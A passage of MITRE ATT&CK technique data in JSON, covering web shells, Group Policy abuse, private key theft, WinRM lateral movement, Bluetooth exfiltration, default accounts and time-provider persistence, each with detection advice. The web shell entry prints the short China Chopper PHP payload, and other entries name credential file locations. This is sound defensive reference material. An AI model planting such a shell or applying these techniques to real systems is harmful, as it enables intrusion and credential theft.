Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Arnim Rupp, Deutsche Lufthansa AG"], "x_mitre_deprecated": false, "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<code>&lt;?php @eval($_POST['password']);&gt;</code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\n\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "Windows", "macOS", "Network"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Application Log: Application Log Content", "Process: Process Creation", "File: File Creation", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "File: File Modification"], "type": "attack-pattern", "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "created": "2019-12-13T16:46:18.927Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1505/003", "external_id": "T1505.003"}, {"source_name": "NSA Cyber Mitigating Web Shells", "description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.", "url": "https://github.com/nsacyber/Mitigating-Web-Shells"}, {"source_name": "volexity_0day_sophos_FW", "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.", "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"}, {"source_name": "Lee 2013", "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"}, {"source_name": "US-CERT Alert TA15-314A Web Shells", "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-01-06T12:44:15.707Z", "name": "Group Policy Modification", "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),  and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).", "x_mitre_platforms": ["Windows"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Itamar Mizrahi, Cymptom", "Tristan Bennett, Seamless Intelligence"], "x_mitre_data_sources": ["Command: Command Execution", "Active Directory: Active Directory Object Creation", "Active Directory: Active Directory Object Modification", "Active Directory: Active Directory Object Deletion"], "x_mitre_permissions_required": ["Administrator", "User"], "type": "attack-pattern", "id": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", "created": "2020-12-28T21:50:59.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1484/001", "external_id": "T1484.001"}, {"source_name": "Mandiant M Trends 2016", "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.", "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"}, {"source_name": "ADSecurity GPO Persistence 2016", "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", "url": "https://adsecurity.org/?p=2716"}, {"source_name": "Microsoft Hacking Team Breach", "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.", "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/"}, {"source_name": "Wald0 Guide to GPOs", "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", "url": "https://wald0.com/?p=179"}, {"source_name": "Harmj0y Abusing GPO Permissions", "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.", "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/"}, {"source_name": "Harmj0y SeEnableDelegationPrivilege Right", "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019.", "url": "http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/"}, {"source_name": "TechNet Group Policy Basics", "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.", "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-16T14:24:40.625Z", "name": "Browser Information Discovery", "description": "Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Mike Kemmerer", "Manikantan Srinivasan, NEC Corporation India", "Yinon Engelsman, Talon Cyber Security", "Yonatan Gotlib, Talon Cyber Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_version": "2.0", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "File: File Access"], "type": "attack-pattern", "id": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1217", "external_id": "T1217"}, {"source_name": "Chrome Roaming Profiles", "description": "Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.", "url": "https://support.google.com/chrome/a/answer/7349337"}, {"source_name": "Kaspersky Autofill", "description": "Golubev, S. (n.d.). How malware steals autofill data from browsers. Retrieved March 28, 2023.", "url": "https://www.kaspersky.com/blog/browser-data-theft/27871/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-12T23:52:08.194Z", "name": "Private Keys", "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Itzik Kotler, SafeBreach", "Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Command: Command Execution", "File: File Access"], "type": "attack-pattern", "id": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "created": "2020-02-04T13:06:49.258Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1552/004", "external_id": "T1552.004"}, {"source_name": "Palo Alto Prince of Persia", "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"}, {"source_name": "cisco_deploy_rsa_keys", "description": "Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436"}, {"source_name": "AADInternals Azure AD Device Identities", "description": "Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved February 21, 2023.", "url": "https://aadinternals.com/post/deviceidentity/"}, {"source_name": "Kaspersky Careto", "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.", "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf"}, {"source_name": "Microsoft Primary Refresh Token", "description": "Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.", "url": "https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token"}, {"source_name": "Wikipedia Public Key Crypto", "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.", "url": "https://en.wikipedia.org/wiki/Public-key_cryptography"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-28T21:22:52.176Z", "name": "Server", "description": "Adversaries may buy, lease, rent, or obtain physical servers\u00a0that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked) \n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Dor Edry, Microsoft"], "x_mitre_deprecated": false, "x_mitre_detection": "Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Internet Scan: Response Metadata", "Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337", "created": "2020-10-01T00:48:09.578Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1583/004", "external_id": "T1583.004"}, {"source_name": "Freejacked", "description": "Clark, Michael. (2023, August 14). Google\u2019s Vertex AI Platform Gets Freejacked. Retrieved February 28, 2024.", "url": "https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/"}, {"source_name": "Free Trial PurpleUrchin", "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.", "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"}, {"source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}, {"source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}, {"source_name": "NYTStuxnet", "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.", "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-11T15:26:41.941Z", "name": "Windows Remote Management", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior.  Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Process: Process Creation", "Logon Session: Logon Session Creation", "Network Traffic: Network Connection Creation", "Command: Command Execution", "Network Traffic: Network Traffic Flow", "Service: Service Metadata"], "type": "attack-pattern", "id": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "created": "2020-02-11T18:29:47.757Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/006", "external_id": "T1021.006"}, {"source_name": "Medium Detecting Lateral Movement", "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"}, {"source_name": "Jacobsen 2014", "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.", "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"}, {"source_name": "MSDN WMI", "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"}, {"source_name": "Microsoft WinRM", "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.", "url": "http://msdn.microsoft.com/en-us/library/aa384426"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd", "type": "attack-pattern", "created": "2020-03-09T17:07:57.392Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1011.001", "url": "https://attack.mitre.org/techniques/T1011/001"}], "modified": "2022-03-08T21:02:15.802Z", "name": "Exfiltration Over Bluetooth", "description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_detection": "Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Command: Command Execution", "File: File Access", "Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation"]}, {"modified": "2024-03-07T14:27:04.770Z", "name": "Default Accounts", "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers", "Network"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "User Account: User Account Authentication"], "x_mitre_permissions_required": ["Administrator", "User"], "type": "attack-pattern", "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d", "created": "2020-03-13T20:15:31.974Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1078/001", "external_id": "T1078.001"}, {"source_name": "AWS Root User", "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.", "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html"}, {"source_name": "Microsoft Local Accounts Feb 2019", "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.", "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts"}, {"source_name": "Metasploit SSH Module", "description": "undefined. (n.d.). Retrieved April 12, 2019.", "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh"}, {"source_name": "Threat Matrix for Kubernetes", "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.", "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-12T02:34:58.003Z", "name": "Time Providers", "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey  pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Scott Lundgren, @5twenty9, Carbon Black", "Harun K\u00fc\u00dfner"], "x_mitre_deprecated": false, "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code> as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "Windows Registry: Windows Registry Key Modification", "Module: Module Load"], "x_mitre_permissions_required": ["SYSTEM", "Administrator"], "type": "attack-pattern", "id": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", "created": "2020-01-24T15:51:52.317Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547/003", "external_id": "T1547.003"}, {"source_name": "Github W32Time Oct 2017", "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.", "url": "https://github.com/scottlundgren/w32time"}, {"source_name": "Microsoft W32Time May 2017", "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"}, {"source_name": "Microsoft W32Time Feb 2018", "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.", "url": 